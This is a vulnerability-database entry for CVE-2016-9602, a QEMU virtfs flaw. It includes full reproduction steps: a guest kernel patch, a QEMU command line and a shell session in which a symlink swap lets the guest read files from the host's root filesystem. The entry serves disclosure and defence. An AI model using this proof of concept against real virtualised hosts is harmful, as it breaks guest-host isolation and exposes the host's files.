Lucene search

K
seebugRootSSV:92707
HistoryFeb 23, 2017 - 12:00 a.m.

QEMU: virtfs permits guest to access entire host filesystem (CVE-2016-9602)

2017-02-2300:00:00
Root
www.seebug.org
62

EPSS

0.002

Percentile

59.1%

If an attacker can execute arbitrary code in the guest kernel and a virtfs is set up, the attacker can access the entire filesystem of the host using a symlink attack. This might require the security model “passthrough” or “none” - I haven’t tested with the mapped modes.

Repro steps:

  1. Place some file on the host that is not present in the guest - I use a file “real_root_marker” in the root directory of the host:
# echo "this is the host's filesystem root" > /real_root_marker
  1. Clone the Linux kernel, apply the following patch and compile it:
diff --git a/fs/9p/vfs_inode.c b/fs/9p/vfs_inode.c
index 30ca770..d6e47df 100644
--- a/fs/9p/vfs_inode.c
+++ b/fs/9p/vfs_inode.c
@@ -803,6 +803,8 @@ struct dentry *v9fs_vfs_lookup(struct inode *dir, struct dentry *dentry,
                return ERR_CAST(dfid);
 
        name = (char *) dentry->d_name.name;
+       if (!strncmp(name, "SAME_", 5))
+               name = name + 5;
        fid = p9_client_walk(dfid, 1, &name, 1);
        if (IS_ERR(fid)) {
                if (fid == ERR_PTR(-ENOENT)) {
  1. Run qemu, with the patched kernel as guest kernel and with at least one virtfs filesystem. I’m using the following commandline, but that’s somewhat specific to my setup - anything with a virtfs in passthrough/none mode should work as far as I can tell:
/path/to/qemu/x86_64-softmmu/qemu-system-x86_64 -m 500M -enable-kvm -nographic \
-snapshot \
-drive file=build/initfs.fsimg,index=0,media=disk \
-virtfs local,path=./vm_root,mount_tag=virt_root,security_model=passthrough \
-kernel ./vm_root/root/linux/arch/x86/boot/bzImage \
-net user,net=192.168.0.0/24,host=192.168.0.2,restrict=off,dns=192.168.0.3,hostfwd=tcp:127.0.0.1:2222-:22 \
-net nic \
-append "root=/dev/sda ro debug ignore_loglevel console=ttyS0"
  1. Inside the VM, mount the virtfs.
  2. Somewhere inside the virtfs mountpoint, do this:
root@jannh-vm:/tmp# cat /real_root_marker
cat: /real_root_marker: No such file or directory
root@jannh-vm:/tmp# mkdir deleteme
root@jannh-vm:/tmp# cd SAME_deleteme
root@jannh-vm:/tmp/SAME_deleteme# rmdir /tmp/deleteme
root@jannh-vm:/tmp/SAME_deleteme# ln -s / /tmp/deleteme
root@jannh-vm:/tmp/SAME_deleteme# cat real_root_marker
this is the host's filesystem root

I tested with a recent qemu version from git://git.qemu-project.org/qemu.git (commit a92f7fe5a82ac9e8d127e92c5dce1a84064126da).

I believe that this is a security issue because according to the qemu manpage, virtfs only exposes the specified directory, while actually, it is possible to access the entire host filesystem.